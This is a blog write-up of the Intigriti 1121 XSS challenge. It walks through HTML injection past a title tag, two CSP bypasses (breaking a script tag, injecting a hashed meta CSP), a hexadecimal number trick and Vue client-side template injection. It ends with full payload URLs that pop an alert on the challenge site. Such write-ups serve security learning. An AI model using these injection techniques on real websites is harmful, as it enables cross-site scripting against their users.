Intigriti 1121 - XSS Challenge Writeup
Tags: security, bugbounty, javascript, vue
Published: 2021-11-21 23:48:40

Another month, another amazing XSS Challenge from [Intigriti](https://twitter.com/intigriti), made by [Ivars Vids](https://twitter.com/IvarsVids). My first solution for this was not the intended one, but I hope you guys somehow appreciate it. :hugs:

In the end of the writeup, I am going to be presenting you the intended solution, which I just figured out with a few hours of challenge remaining.

## :detective: In-Depth Analysis

When we access the page https://challenge-1121.intigriti.io/challenge/index.php, it's possible to see that there is a list of security issues, as known as the 2021 edition of OWASP TOP 10. There is also a search bar from where it's possible to look for specific vulnerabilities. Whatever we type into this input will appear with the `s` query parameter when submitted.

![Result of the search for 'Hello Guys'](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b5967dpu0d6tw014sul6.png)

If we try to submit, for example, a `s` value like `<h1>example</h1>`, we will get this text being present on two different parts of the page:

```html
<html>
  <head>
	  <title>You searched for '&lt;h1&gt;test&lt;/h1&gt;'</title> // First one
	  ...
  </head>
  <body>
	  <div id="app">
		  ...
	    <p>You searched for &lt;h1&gt;test&lt;/h1&gt;</p>         // Second one
		  ...
	  </div>
  </body>
</html>
```

It's worth mentioning two points:

1. The second part where our `<h1>` appears, that one inside the `<p>` tag, actually comes to our browser as `<p>You searched for v-{{search}}</p>`, and we can verify this by opening the page source. So there is a client-side method for the use of templates happening here.
2. The first part, which is that one inside the `<title>` tag, is being escaped just like the second part, so our `<h1>example</h1>` is treated like a normal text instead of an HTML element. But there's a thing, the `<title>` tag is not meant to have child elements and the browser will not parse as HTML something that simply goes inside this element. In view of this, we can close the tag and insert our `<h1>example</h1>` after it. :smile:

### :national_park: Getting to Know the Scenario


By using our payload `</title><h1>example</h1>`, now our `<h1>` tag goes to the page body and the browser treats it like a normal HTML element. So...what if we try to replace this `<h1>` for something like a `<script>`? Well, if we try a payload like `</title><script>alert(document.domain)</script>`, it will actually be reflected to the page, but no alert is going to be popped out, and the reason can be found on the page response header:


> content-security-policy: base-uri 'self'; default-src 'self';
> script-src 'unsafe-eval' 'nonce-r4nd0mn0nc3' 'strict-dynamic';
> object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='

There is a **Content Security Policy** (CSP) defined, which is great because it will not trust in every single thing that pops into the page. For those who are not familiar, a CSP is a security standard that can be defined in order to tell to the environment (in this case, our browser) what should be  trusted and what should be restricted. The definition of a Content Security Policy helps to mitigate the risks of a XSS.

By looking at what it has to tell us about scripts, we have:

> script-src 'unsafe-eval' 'nonce-r4nd0mn0nc3' 'strict-dynamic';

I remember from the last XSS Challenge, by reading [these slides](https://www.hackinbo.it/slides/1494231338_Spagnuolo_Hack%20In%20Bo%20-%20So%20we%20broke%20all%20CSPs...%20You%20won%27t%20guess%20what%20happened%20next%21.pdf), that when the `strict-dynamic` policy is defined, we are able to execute JavaScript if its created by using `document.createElement("script")`. It would be really terrible if this function was being used somewhe...what!?!

```javascript
function addJS(src, cb){
  let s = document.createElement('script'); // Script tag being created
  s.src = src;                              // Source being defined
  s.onload = cb;                            // Onload callback function being defined
  let sf = document.getElementsByTagName('script')[0];
  sf.parentNode.insertBefore(s, sf);        // Inserting it before the first script tag
}
```
So we have this function, which creates a script that's supposed to load external code, okay. But where is it used? Let's see:

```html
<script nonce="r4nd0mn0nc3">
  var delimiters = ['v-{{', '}}']; // Apparently, delimiters for templates
  addJS('./vuejs.php', initVUE);   // addJS being called
</script>
```

Our `addJS` function is being called, the defined source is `./vuejs.php` (???) and the onload callback function is `initVUE` (???), which is defined down below. I promise it will all make sense in the end! :sweat_smile:

```javascript
function initVUE(){
  if (!window.Vue){
    setTimeout(initVUE, 100);
  }
  new Vue({                         // new instance of Vue being created
    el: '#app',                     // All the magic will happen inside div#app
    delimiters: window.delimiters,  // Custom delimiters v-{{ }} being defined
    data: {
      "owasp":[
        // All the OWASP list inside here
      ].filter(e=>{
        return (e.title + ' - ' + e.description)
            .includes(new URL(location).searchParams.get('s')|| ' ');
      }),
      "search": new URL(location).searchParams.get('s')
    }
  })
}
```

If you are not familiar with [Vue.js](https://vuejs.org/v2/guide/), it's a very popular framework based on JavaScript, just like ReactJS or Angular, and it aims to simplify not only the experience of creating web Interfaces, but also anything that's being handled on the client-side.

Also, Vue.js is actually the responsible for picking up that `v-{{search}}` from the page source and converting it to the value of your `s` query parameter. It does that by picking the `search` value you can find in the `data` object above. The original delimiters recognized by Vue.js are actually `{{ }}`, but for this challenge, the delimiters are custom ones.

That `./vuejs.php` request is actually redirecting to a CDN hosted JavaScript file containing the basis of Vue.js, so it can be initialized on the `initVUE` function.

### :construction: HTML Injection Leads to CSTI

By assuming that the only way we can directly use JavaScript is calling `addJS`, we have to find a different place from where it's being called. Here's the only place left:

```html
<script nonce="r4nd0mn0nc3">
  if (!window.isProd){        // isProd may not be true, hm...
    let version = new URL(location).searchParams.get('version') || '';
    version = version.slice(0,12);
    let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
    vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

    if (version === 999999999999){
      setTimeout(window.legacyLogger, 1000);
    } else if (version > 1000000000000){
      addJS(vueDevtools, window.initVUE);  // addJS being called again!!!
    } else{
      console.log(performance)
    }
  }
</script>
```

Okay, now we have a piece of code where `addJS` is being called, but first of all, it will only be called if this `window.isProd` is not true. This variable is being defined in a different and previous `<script>` tag, it's actually the first one before `./vuejs.php` takes the first place. :smile:

```html
<html>
  <head>
    <title>You searched for 'OurPreviousPayloadHere'</title>
    <script nonce="r4nd0mn0nc3">
      var isProd = true;          // window.isProd being defined
    </script>
		...
	</head>
	...
</html>
```

We have to figure out a way of breaking it so it never gets this true value. Remember our payload, `</title><h1>example</h1>`? If we change it to `</title><script>`, the browser will get "confused" because of the unclosed tag, and this new tag will be closed on the next `</script>` that it can find. Also, because of the CSP, nothing inside this `<script>` will be executed, including the definition of `window.isProd`. It's worth mentioning that when it comes to JavaScript, the result of `if(undefinedVariable)` is false, and `if(!undefinedVariable)` is true, so having an undefined variable is enough, and we don't need it's value to equals false. :exploding_head:

Now let's get back to the code, but now inside the if condition. First of all, we have these new query parameters:

```javascript
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
```

`version` contains only the first 12 characters of your input (if you insert something greater than this). `vueDevTools` has a whitelist filter that only allows for `letters`, `numbers`, `%` and `.`. It will also replace any starting `//` (one or more cases) to an empty string.

Continuing the code, we have:

```javascript
if (version === 999999999999){
  setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){  // Wait, it has 13 characters! >:(
  addJS(vueDevtools, window.initVUE);
} else{
  console.log(performance)
}
```

In order to be able to call `addJS` we will need to define a value for the `version` parameter which is greater than 1000000000000. As `version` max characters length is 12, it will not be possible by using a simple decimal value.

But this common way we always take is not the only way of [representing a number in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number#convert_numeric_strings_and_null_to_numbers), and the same thing applies to most programming languages. We may, for example, try values like `0xffffffffff` (1099511627775 in hexadecimal) or `1e15` (1 times 10 raised to the 15th power). I am going to stick with the hexadecimal approach because it's the one I originally found, so now our payload would be something like `?s=</title><script>&version=0xffffffffff`

For the value of `vueDevtools`, we can see that it will be used as a source on `addJS`, because it's the first parameter of the function. If we simply try to point out to any complete URL, it will not work because the filter for `vueDevTools` doesn't allow the use of the `:` character, in a way that a URL like `http://example.com/xss.js` would always become `http//example.com/xss.js`. It means that we are limited to include only files that are inside of the application environment.

This limitation doesn't actually make any progress impossible because we can, for example, define `vueDevtools=./vuejs.php`. This redundancy would create a new instance of Vue after the first one, and by knowing that Vue.js parses any `v-{{ }}` that it finds in the DOM, if we add a test to our `s` parameter like `</title><script>v-{{7*7}}`, we are going to see that it parses the `v-{{7*7}}` and shows `49` on the screen. CSTI, yay! :partying_face:

![Vue parsing our payload as it was part of a template](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3eptiw2wy4ueqv4pd9xz.png)

### :checkered_flag: CSTI Leads to Reflected Cross-Site Scripting

Okay, we have this payload, which is `?s=</title><script>v-{{7*7}}&version=0xffffffffff&vueDevtools=./vuejs.php`, and it's capable of trigger a Client-Side Template Injection, but how do we use it in order to execute arbitrary JavaScript code?

Searching a little bit more about CSTI, I found out that that's possible to define functions and instantly execute them, all inside a template. It uses the JavaScript `constructor` function and it would be like this:


`` {{ constructor.constructor("YOUR_JAVASCRIPT_CODE_HERE")() }}``


From this, we have our final payload, which is https://challenge-1121.intigriti.io/challenge/index.php?s=%3C%2Ftitle%3E%3Cscript%3Ev-%7B%7Bconstructor.constructor%28%22alert%28document.domain%29%22%29%28%29%7D%7D&version=0xffffffffff&vueDevtools=./vuejs.php (URL encoded).

## :flushed: The Intended Solution

For this part, I have to say thank you to Ivars Vids, who tried during the entire week to make me think in different ways without giving the challenge away. Thank you for your efforts into making me less stupid :hugs::joy:

I was told that the difference between my solution and the intended one is the first step, because no `<script>` tag is supposed to be broken by adding new `<script>` tags. And I was also told that the [first hint](https://twitter.com/intigriti/status/1460281663301246985) was all about this first step.

Considering that we have an enemy, and we have to make it stronger, I remember that the CSP was the first issue we found during the unintended solution. So what if we use it in order to block the scripts we don't want to be executed? :thinking:

Remember that originally, the CSP is given to our browser through the response headers, but it also may be defined by using a `<meta>` tag. There's an example down below:

`<meta http-equiv="Content-Security-Policy" content="script-src 'none'">`

### :bulb: An Insight

If we add this CSP definition after a `</title>` tag to the `s` query parameter, we will have as a result that every single script tag will be blocked, and no script in the page will be executed.

Do you remember these tags?

```html
<script nonce="r4nd0mn0nc3"> // Script #1
  var isProd = true;
</script>
<script nonce="r4nd0mn0nc3"> // Script #2
  function addJS(src, cb){...}
  function initVUE(){...}
</script>
<script nonce="r4nd0mn0nc3"> // Script #3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>
<script nonce="r4nd0mn0nc3"> // Script #4
  if (!window.isProd){
    ...
  }
</script>
```

I thought it would be a nice idea to block scripts `#1` and `#3` instead of just the first one, because by doing it, we wouldn't need to use these custom delimiters on the payload anymore. Okay, but how exactly do we allow only specific script tags?

This question got me stuck for the entire week, but when I had only a few hours left, I got an interesting insight. The Content Security Policy also allows us to define hashes for the scripts to be verified before executing, so I could add the hashes for scripts `#2` and `#4`, and define nothing for `#1` and `#3` so they are blocked by the CSP itself.

Taking a look at the dev tools console, with our current payload `?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'none'">`, we are going to see these error messages:

![Four blocked scripts, and their respectives hashes displayed](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hk6qkjp0v992zjmok4tx.png)

Four error messages, each one representing one of our `<script>` tags being blocked by the CSP. Notice that for each one, there's a hash that corresponds to the content inside of the tag.

Picking up the hashes of `#2` and `#4`, and adding them to the CSP `<meta>` tag along with the same `unsafe-eval` and `strict-dynamic` used by the original CSP, we will have the following payload which blocks `#1` and `#3`:

`?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=' 'sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=' 'strict-dynamic'">`

![Content Security Policy defined in order to block first and third script tags](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y0knctjqd8zyayeocp2v.png)

Now, we add our previous values for `version` and `vueDevtools`, which are going to work the same:

`?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=' 'sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=' 'strict-dynamic'">&version=0xffffffffff&vueDevtools=./vuejs.php`

This will make a new instance of Vue.js be started without any custom delimiters. Once it's done, we have to inject our XSS template inside `<div id="app"></div>`, which is already in the page and it's used by Vue as the container for its job. But what if we just add it again in our payload as this one down below?

`<div id="app">{{constructor.constructor('alert(document.domain)')()}}</div>`

It works! :partying_face:

https://challenge-1121.intigriti.io/challenge/index.php?s=%3C/title%3E%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20%27unsafe-eval%27%20%27sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=%27%20%27sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=%27%20%27strict-dynamic%27%22%3E%3Cdiv%20id=%22app%22%3E%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D%3C/div%3E&version=0xffffffffff&vueDevtools=./vuejs.php (URL encoded)

### Thank you for taking your time! :hugs: